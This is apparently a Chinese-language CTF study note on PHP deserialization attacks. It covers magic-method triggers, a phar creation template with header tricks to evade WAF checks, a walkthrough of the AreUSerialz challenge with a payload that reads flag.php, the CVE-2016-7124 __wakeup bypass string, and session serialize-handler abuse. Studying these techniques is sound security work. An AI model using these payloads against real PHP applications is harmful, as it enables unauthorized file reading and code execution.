PHP反序列化
title: php反序列化 date: tags: php开发与安全
php反序列化基础
基础:
魔术方法
construct(): 当本对象被创建的时候自动调用,(unserialize()时不会被自动调用)
wakeup(): 对象被unserialize()时自动调用
destruct(): 当本对象被销毁时自动调用
tostring(): 当本对象被当作字符串处理时调用(echo等)
get()/set(): 当试图获取/写入一个不可达到属性或不存在的值时,会自动调用
call(): 与get类似,当试图调用一个不可到达方法时调用
sleep/wakeup 当对象被序列化/反序列化时调用
invoke 当对象被当作函数使用时调用。
其中,对于to_string()的触发条件有很多:
echo/print 打印输出对象时
对象与字符串拼接或==比较时
对象在经过字符串处理函数如 strlen()strstr()等时以及class_exists()时
ctf中的反序列化经验
1.序列化后的结果,一切以var_dump出来的页面的源代码界面为准!,且源代码中的乱码部分hex编码都是00! 此外 private的序列化后属性名会变为 %00class_name%00shuxing_name protected 的序列化后属性名会变为 %00 *%00shuxing_name 2.另外一点就是,一个对象被反序列化出来后,他就释放在内存空间成为一个真正存在的对象了 3.还有一点是,序列化只会记录属性和值,不会记录函数 4.反序列化后不会调用__constrict()
利用phar文件
当使用phar文件时,phar文件的meta-data是以序列化的形式存储在phar文件中的.
那么如何利用呢
基本姿势:
使用phar://协议访问
使用phar://协议,是不用管后缀名,一个jpg文件都可以被phar://协议打开 phar://协议访问文件常用 phar://文件路径
进阶姿势
1.幻术头加在stub上 有些waf是检验文件头的,检验到 ?>是不让过的。所以需要改改stub,在stub的前面加上一些幻术头同时修改文件后缀名来绕过.
下面是能够触发phar反序列化的函数
Phar文件创建模板
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();
php版本7.1以上,对类属性检测不严格导致的反序列化问题
php7.1+反序列化的对象可以直接以public属性的形式对原类中的protected形式的属性进行修改。 比如[网鼎杯 2020 青龙组]AreUSerialz一题。其难点在于你必须在反序列化payload中修改一个protected的属性才能拿到flag,但是有一个判断语句让你不能在反序列化payload出现%00字符。 所以此处我们在做payload的时候,把protected属性改成public属性再序列化也行。
protected $op;
protected $filename;
protected $content;
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
关键代码放这里。逻辑是从get参数获取数据并反序列化。然后我们通过反序列化payload操控op让它为2并且filename=flag.php。但是我们正常思路制造payload时因为op和filename是proteced属性,难免会有%00字符出现,但是它又让你不能出现%00这种ascii码小于32的字符。所以我们直接把op和filename当作public属性处理也可以直接过去 也就是说payload这样写
new FileHandler{
public $op=2;
public $filename="flag.php"
}
绕过__wakeup方法(CVE-2016-7124)
只需构建一个序列化字段,它的变量数与实际不符即可。 像这样O:4:”xctf”:3:{s:4:”flag”;s:3:”111″;s:5:”flsag”;s:3:”111″;} 这里本身有2个变量,但在标识变量数时与实际不符,就会绕过__wakeup 适用版本:PHP5 < 5.6.25 PHP7 < 7.0.10
session存储调用与php反序列化引发的安全问题
1.基础功能:
session信息在服务器端存储时,其内容是通过一系列比如通过序列化等操作加工改变了的,而当其被调用时,又能逆加工回原有的内容,这是基础。 session信息在服务器端存储时,其加工方式可以通过php.ini文件的session.save_handler= 参数进行调整。 这个参数的不同值对应的加工方式如下:
$_SESSION['name']=$_GET['name'] //传入参数并在session文件里以name的变量名保存
ini_set('session.serialize_handler','php')=>abc=>name|s:3:"abc";
//变量名|序列化处理后的值
ini_set('session.serialize_handler','php_binary')=>abc=>#names:4:"abcd";
//#为键名长度对应的ascii字符+变量名+序列化后的值
ini_set('session.serialize_handler','php_serialize')=>abc=>a:1:{s:4:"name";s:3:"abc";}
//将变量以数组形式进行序列化处理
2.在此基础上利用upload_process机制来实现 “即使没有输入点也能继续触发序列化漏洞"
注:
如果没关session.upload_progress.cleanup,每次写入session的内容都会被删,这样的话只能使用条件竞争来搞了
上面的话翻译为: 当session.upload_progress.enabled INI选项开启时,你在上传文件的同时POST一个参数值与session.upload_progress.name(默认为PHP_SESSION_UPLOAD_PROGRESS)值的值,会在session里留下session.upload_porgress.prefix与session.upload_progress.name链接的值,而后者的内容就是我们上传的文件的文件名. 试验一下
抓包改包:
确实有残留,于是凭此进行上面那条的操作开始反序列化攻击(文件包含也行)